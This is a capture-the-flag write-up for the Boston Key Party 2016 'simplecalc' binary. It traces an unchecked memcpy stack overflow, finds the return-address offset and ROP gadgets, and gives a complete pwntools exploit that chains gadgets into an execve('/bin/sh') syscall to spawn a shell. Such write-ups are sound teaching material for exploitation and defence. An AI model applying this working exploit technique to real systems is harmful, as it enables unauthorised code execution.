Boston Key Part 2016 Simple Calc

Let's take a look at the binary:

$    file simplecalc
simplecalc: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not stripped
$    pwn checksec simplecalc
[*] '/Hackery/pod/modules/bof_static/bkp16_simplecalc/simplecalc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./simplecalc  
    |#------------------------------------#|
    |         Something Calculator         |
    |#------------------------------------#|

Expected number of calculations: 50
Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> 1
Integer x: 1
Integer y: 1
Do you really need help calculating such small numbers?
Shame on you... Bye

So we can see that it is a 64 bit statically linked binary. The only binary mitigation it has is a Non-Executable stack so we can't push shellcode onto the stack and call it. When we run it, we see that it prompts us for a number of calculations. Then it allows us to do a number of calculations. Also it apparently won't let us calculate "small numbers". When we take a look at the main function in Ghidra (for me it was under a folder called mai...), we see this:


undefined8 main(void)

{
  void *calculations;
  undefined vulnBuf [40];
  int calcChoice;
  int numberCalcs;
  int i;
 
  numberCalcs = 0;
  setvbuf((FILE *)stdin,(char *)0x0,2,0);
  setvbuf((FILE *)stdout,(char *)0x0,2,0);
  print_motd();
  printf("Expected number of calculations: ");
  __isoc99_scanf(&DAT_00494214,&numberCalcs);
  handle_newline();
  if ((numberCalcs < 0x100) && (3 < numberCalcs)) {
    calculations = malloc((long)(numberCalcs << 2));
    i = 0;
    while (i < numberCalcs) {
      print_menu();
      __isoc99_scanf(&DAT_00494214,&calcChoice);
      handle_newline();
      if (calcChoice == 1) {
        adds();
        *(undefined4 *)((long)i * 4 + (long)calculations) = add._8_4_;
      }
      else {
        if (calcChoice == 2) {
          subs();
          *(undefined4 *)((long)i * 4 + (long)calculations) = sub._8_4_;
        }
        else {
          if (calcChoice == 3) {
            muls();
            *(undefined4 *)((long)i * 4 + (long)calculations) = mul._8_4_;
          }
          else {
            if (calcChoice == 4) {
              divs();
              *(undefined4 *)((long)i * 4 + (long)calculations) = divv._8_4_;
            }
            else {
              if (calcChoice == 5) {
                memcpy(vulnBuf,calculations,(long)(numberCalcs << 2));
                free(calculations);
                return 0;
              }
              puts("Invalid option.\n");
            }
          }
        }
      }
      i = i + 1;
    }
    free(calculations);
  }
  else {
    puts("Invalid number.");
  }
  return 0;
}

So we can see that it starts of by prompting us for a number of calculations with the string Expected number of calculations: . It stores the number of calculations in numberCalcs. Then it checks to make sure the number of calculations is between 3 and 0x100 (If not it will print Invalid number. and just return). It will then malloc a size equal to numberCalcs << 2 and store the pointer to it in calculations. This is the same operation as numberCalcs * 4. Just check out these calculations to see:

>>> 5 << 2
20
>>> 500 << 2
2000
>>> 500 * 4
2000
>>> 742 << 2
2968
>>> 742 * 4
2968

Here it is essentially allocating numberCalcs number of integers, which each of them are four bytes big. Then it will enter into a while loop that will run once for each calculation we will specify (unless if we choose to exit early). Looking at the assembly code (since the decompilation looks a bit weird) for the multiplication section, we see that it is calling the muls function:

        004014d3 83 f8 03        CMP        calculations,0x3
        004014d6 75 23           JNZ        LAB_004014fb
        004014d8 e8 cb fd        CALL       muls                                             undefined muls()
                 ff ff

When we look at the mulsfunction, we see that it checks to ensure that the two numbers have to be equal to or greater than 0x27. Looking at it, we see that it pretty much just multiplies the two numbers together. Looking at the other three calculation operations, they seem pretty similar (except for subtraction, addition, and division).

void muls(void)

{
  printf("Integer x: ");
  __isoc99_scanf(&DAT_00494214,mul);
  handle_newline();
  printf("Integer y: ");
  __isoc99_scanf(&DAT_00494214,0x6c4aa4);
  handle_newline();
  if ((0x27 < mul._0_4_) && (0x27 < mul._4_4_)) {
    mul._8_4_ = mul._4_4_ * mul._0_4_;
    printf("Result for x * y is %d.\n\n",(ulong)mul._8_4_);
    return;
  }
  puts("Do you really need help calculating such small numbers?\nShame on you... Bye");
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

However we can see that there is a bug that resides in the option to save and exit:

              if (calcChoice == 5) {
                memcpy(vulnBuf,calculations,(long)(numberCalcs << 2));
                free(calculations);
                return 0;
              }

If we choose this option, it will use memcpy to copy over all of our calculations into vulnBuf. Thing is it doesn't do a size check, so if we have enough calculations we can overflow the buffer and overwrite the return address (there is no stack canary to prevent this). Let's find the offset from the start of our input to the return address. We start off by setting a breakpoint for right after the memcpy call, then seeing where our input lands (also 321456948 in hex is 0x13290b34):

gef➤  b *0x40154a
Breakpoint 1 at 0x40154a
gef➤  r
Starting program: /Hackery/pod/modules/bof_static/bkp16_simplecalc/simplecalc

  |#------------------------------------#|
  |         Something Calculator         |
  |#------------------------------------#|

Expected number of calculations: 50
Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> 1
Integer x: 159
Integer y: 321456789
Result for x + y is 321456948.

Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> 5
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffde60  →  0x0000000013290b34
$rbx   : 0x00000000004002b0  →  <_init+0> sub rsp, 0x8
$rcx   : 0x0               
$rdx   : 0x0               
$rsp   : 0x00007fffffffde50  →  0x00007fffffffdf88  →  0x00007fffffffe2c3  →  "/Hackery/pod/modules/bof_static/bkp16_simplecalc/s[...]"
$rbp   : 0x00007fffffffdea0  →  0x0000000000000000
$rsi   : 0x00000000006c8ca8  →  0x0000000000020361
$rdi   : 0x00007fffffffdf28  →  0x0000000000000000
$rip   : 0x000000000040154a  →  <main+455> mov rax, QWORD PTR [rbp-0x10]
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x0               
$r11   : 0x0               
$r12   : 0x0               
$r13   : 0x0000000000401c00  →  <__libc_csu_init+0> push r14
$r14   : 0x0000000000401c90  →  <__libc_csu_fini+0> push rbx
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde50│+0x0000: 0x00007fffffffdf88  →  0x00007fffffffe2c3  →  "/Hackery/pod/modules/bof_static/bkp16_simplecalc/s[...]"  ← $rsp
0x00007fffffffde58│+0x0008: 0x0000000100400d41 ("A\r@"?)
0x00007fffffffde60│+0x0010: 0x0000000013290b34   ← $rax
0x00007fffffffde68│+0x0018: 0x0000000000000000
0x00007fffffffde70│+0x0020: 0x0000000000000000
0x00007fffffffde78│+0x0028: 0x0000000000000000
0x00007fffffffde80│+0x0030: 0x0000000000000000
0x00007fffffffde88│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40153d <main+442>       rex.RB ror BYTE PTR [r8-0x77], 0xce
     0x401542 <main+447>       mov    rdi, rax
     0x401545 <main+450>       call   0x4228d0 <memcpy>
 →   0x40154a <main+455>       mov    rax, QWORD PTR [rbp-0x10]
     0x40154e <main+459>       mov    rdi, rax
     0x401551 <main+462>       call   0x4156d0 <free>
     0x401556 <main+467>       mov    eax, 0x0
     0x40155b <main+472>       jmp    0x401588 <main+517>
     0x40155d <main+474>       mov    edi, 0x494402
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "simplecalc", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40154a → main()
────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x000000000040154a in main ()
gef➤  search-pattern 0x13290b34
[+] Searching '0x13290b34' in memory
[+] In '[heap]'(0x6c3000-0x6e9000), permission=rw-
  0x6c4a88 - 0x6c4a98  →   "\x34\x0b\x29\x13[...]"
  0x6c8be0 - 0x6c8bf0  →   "\x34\x0b\x29\x13[...]"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffb0c8 - 0x7fffffffb0d8  →   "\x34\x0b\x29\x13[...]"
  0x7fffffffde60 - 0x7fffffffde70  →   "\x34\x0b\x29\x13[...]"
gef➤  i f
Stack level 0, frame at 0x7fffffffdeb0:
 rip = 0x40154a in main; saved rip = 0x0
 Arglist at 0x7fffffffdea0, args:
 Locals at 0x7fffffffdea0, Previous frame's sp is 0x7fffffffdeb0
 Saved registers:
  rbp at 0x7fffffffdea0, rip at 0x7fffffffdea8

So we can see that the offset between the start of our input and the return address is 0x7fffffffdea8 - 0x7fffffffde60 = 0x48, which will be 18 integers. Now for what to execute when we get the return address. Since the binary is statically linked and there is no PIE, we can just build a rop chain using the binary for gadgets and without an infoleak. The ROP Chain will essentially just make an execve syscall to /bin/sh. There are four registers that we need to control in order to make this syscall (checkout https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ for more details):

rax:  0x3b              Specify execve syscall
rdi:  ptr to "/bin/sh"  Specify file to run
rsi:  0x0               Specify no arguments
rdx:  0x0               Specify no environment variables

To do this, we will need gadgets to control those four register. I typically like to go with gadgets like pop rax; ret, since it makes it simple. We will also need a gadget to write the string /bin/sh somewhere in memory that we know. Let's find our gadgets using ROPGadget (checkout https://github.com/JonathanSalwan/ROPgadget ):

$ python ROPgadget.py --binary simplecalc | grep "pop rax ; ret"
0x000000000044db32 : add al, ch ; pop rax ; ret
0x000000000040b032 : add al, ch ; pop rax ; retf 2
0x000000000040b02f : add byte ptr [rax], 0 ; add al, ch ; pop rax ; retf 2
0x000000000040b030 : add byte ptr [rax], al ; add al, ch ; pop rax ; retf 2
0x00000000004b0801 : in al, 0x4c ; pop rax ; retf
0x000000000040b02e : in al, dx ; add byte ptr [rax], 0 ; add al, ch ; pop rax ; retf 2
0x0000000000474855 : or dh, byte ptr [rcx] ; ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
0x000000000044db34 : pop rax ; ret
0x000000000045d707 : pop rax ; retf
0x000000000040b034 : pop rax ; retf 2
0x0000000000474857 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
$ python ROPgadget.py --binary simplecalc | grep "pop rdi ; ret"
0x000000000044bbbc : inc dword ptr [rbx - 0x7bf0fe40] ; pop rdi ; ret
0x0000000000401b73 : pop rdi ; ret
$ python ROPgadget.py --binary simplecalc | grep "pop rsi ; ret"
0x00000000004ac9b4 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rsi ; ret
0x00000000004ac9b6 : add byte ptr [rax], al ; pop rsi ; ret
0x0000000000437aa9 : pop rdx ; pop rsi ; ret
0x0000000000401c87 : pop rsi ; ret
$ python ROPgadget.py --binary simplecalc | grep "pop rdx ; ret"
0x00000000004a868c : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret 0x45
0x00000000004a868e : add byte ptr [rax], al ; pop rdx ; ret 0x45
0x00000000004afd61 : js 0x4afde1 ; pop rdx ; retf
0x0000000000414ed0 : or al, ch ; pop rdx ; ret 0xffff
0x0000000000437a85 : pop rdx ; ret
0x00000000004a8690 : pop rdx ; ret 0x45
0x00000000004b2dd8 : pop rdx ; ret 0xfffd
0x0000000000414ed2 : pop rdx ; ret 0xffff
0x00000000004afd63 : pop rdx ; retf
0x000000000044af60 : pop rdx ; retf 0xffff
0x00000000004560ae : test byte ptr [rdi - 0x1600002f], al ; pop rdx ; ret

So we can see the gadgets for controlling the four registers are at 0x44db34, 0x401b73, 0x401c87, and 0x437a85. Now we need a gadget that will write an eight byte value to a memory region. For this I would like to start my search by searching through the gadgets with mov in them:

$ python ROPgadget.py --binary simplecalc | grep "mov" | less

after a bit of searching, we find this gadget:

0x000000000044526e : mov qword ptr [rax], rdx ; ret

This gadget will move the four byte value from rdx to whatever memory is pointed to by rax. This is exactly what we need, and a bit convenient since we already have the gadgets for those two registers and this gadget doesn't do anything else that we need to worry about. The last gadget we need will be a syscall gadget:

$ python ROPgadget.py --binary simplecalc | grep ": syscall"
0x0000000000400488 : syscall

There are two more things we need to figure out. The first is where in memory we will write the string /bin/sh. Let's check the memory mappings while the binary is running:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004c1000 0x0000000000000000 r-x /Hackery/pod/modules/bof_static/bkp16_simplecalc/simplecalc
0x00000000006c0000 0x00000000006c3000 0x00000000000c0000 rw- /Hackery/pod/modules/bof_static/bkp16_simplecalc/simplecalc
0x00000000006c3000 0x00000000006c6000 0x0000000000000000 rw-
0x0000000001971000 0x0000000001994000 0x0000000000000000 rw- [heap]
0x00007fffbde39000 0x00007fffbde5a000 0x0000000000000000 rw- [stack]
0x00007fffbdfe6000 0x00007fffbdfe9000 0x0000000000000000 r-- [vvar]
0x00007fffbdfe9000 0x00007fffbdfeb000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x/g 0x6c0000
0x6c0000: 0x200e41280e41300e
gef➤  x/20g 0x6c0000
0x6c0000: 0x200e41280e41300e  0x0e42100e42180e42
0x6c0010: 0x00000000000b4108  0x0000d0a40000002c
0x6c0020: 0x0000006cfffd1fd0  0x080e0a69100e4400
0x6c0030: 0x0b42080e0a460b4b  0x0e470b49080e0a57
0x6c0040: 0x0000000000000008  0x0000d0d400000024
0x6c0050: 0x00000144fffd2010  0x5a020283100e4500
0x6c0060: 0x0ee3020b41080e0a  0x0000000000000008
0x6c0070: 0x0000d0fc00000064  0x0000026cfffd2138
0x6c0080: 0x0e47028f100e4200  0x048d200e42038e18
0x6c0090: 0x300e41058c280e42  0x440783380e410686
gef➤  x/20g 0x6c1000
0x6c1000: 0x0000000000000000  0x0000000000000000
0x6c1010: 0x0000000000000000  0x0000000000431070
0x6c1020: 0x0000000000430a40  0x0000000000428e20
0x6c1030: 0x00000000004331b0  0x0000000000424c50
0x6c1040: 0x000000000042b940  0x0000000000423740
0x6c1050: 0x00000000004852d0  0x00000000004178d0
0x6c1060: 0x0000000000000000  0x0000000000000000
0x6c1070 <_dl_tls_static_size>: 0x0000000000001180  0x0000000000000000
0x6c1080 <_nl_current_default_domain>:  0x00000000004945f7  0x0000000000000000
0x6c1090 <locale_alias_path.10061>: 0x000000000049462a  0x00000000006c32a0

We see that the memory region that begins at 0x6c0000 and ends at 0x6c3000 looks like a good candidate. The permissions allow us to read and write to it. In addition to that it is mapped from the binary, and since there is no PIE the addresses will be the same every time (no infoleak needed). Looking a bit through the memory, 0x6c1000 looks like it's empty so we should be able to write to it without messing ip anything (although we could be wrong with that).

The second thing we need to worry about deals with what we are overflowing on the stack.

  void *calculations;
  undefined vulnBuf [40];
  int calcChoice;
  int numberCalcs;
  int i;

We see that between vulnBuf and the bottom of the stack (where the return address resides) is the pointer calculations. This will get overwritten as part of the overflow. This is a problem since this address is freed prior to our code being executed:

                memcpy(vulnBuf,calculations,(long)(numberCalcs << 2));
                free(calculations);
                return 0;

However looking at the source code for free tells us something extremely helpful in this instance (I found it here: https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#free ):

__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */
  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }
  if (mem == 0)                              /* free(0) has no effect */
    return;

We can see here that if the argument we pass to free is a null pointer (0x0) then it just returns. Since the function writing the data for the overflow is memcpy, we can write null bytes. So if we just fill up the space between the start of our input and the return address with null bytes, we will be fine.

With that, we have everything we need to make the exploit. In the comments, you can find the exact ROP chain I used as well as what each part does. Also I wrote some helper functions which will write the values I want using addition:

from pwn import *

target = process('./simplecalc')
#gdb.attach(target, gdbscript = 'b *0x40154a')

target.recvuntil('calculations: ')
target.sendline('100')

# Establish our rop gadgets
popRax = 0x44db34
popRdi = 0x401b73
popRsi = 0x401c87
popRdx = 0x437a85

# 0x000000000044526e : mov qword ptr [rax], rdx ; ret
movGadget = 0x44526e

syscall = 0x400488

# These two functions are what we will use to give input via addition
def addSingle(x):
  target.recvuntil("=> ")
  target.sendline("1")
  target.recvuntil("Integer x: ")
  target.sendline("100")
  target.recvuntil("Integer y: ")
  target.sendline(str(x - 100))


def add(z):
  x = z & 0xffffffff
  y = ((z & 0xffffffff00000000) >> 32)
  addSingle(x)
  addSingle(y)

# Fill up the space between the start of our input and the return address
for i in xrange(9):
  # Fill it up with null bytes, to make the ptr passed to free be a null pointer
  # So free doesn't crash
  add(0x0)

# Start writing th0e rop chain
'''
This is our ROP Chain

Write "/bin/sh" tp 0x6c1000

pop rax, 0x6c1000 ; ret
pop rdx, "/bin/sh\x00" ; ret
mov qword ptr [rax], rdx ; ret

# Move the needed values into the registers
pop rax, 0x3b ; ret
pop rdi, 0x6c1000 ; ret
pop rsi, 0x0 ; ret
pop rdx, 0x0 ; ret
'''
add(popRax)
add(0x6c1000)
add(popRdx)
add(0x0068732f6e69622f) # "/bin/sh" in hex
add(movGadget)

add(popRax) # Specify which syscall to make
add(0x3b)

add(popRdi) # Specify pointer to "/bin/sh"
add(0x6c1000)

add(popRsi) # Specify no arguments or environment variables
add(0x0)
add(popRdx)
add(0x0)

add(syscall) # Syscall instruction

target.sendline('5') # Save and exit to execute memcpy and trigger buffer overflow

# Drop to an interactive shell to use our new shell
target.interactive()

When we run the exploit:

$ python exploit.py
[+] Starting local process './simplecalc': pid 15676
[*] Switching to interactive mode
Result for x + y is 0.

Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> $ w
 20:06:39 up  5:53,  1 user,  load average: 1.71, 1.30, 1.37
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               14:13   ?xdm?  22:10   0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
core  exploit.py  readme.md  simplecalc

Just like that, we popped a shell!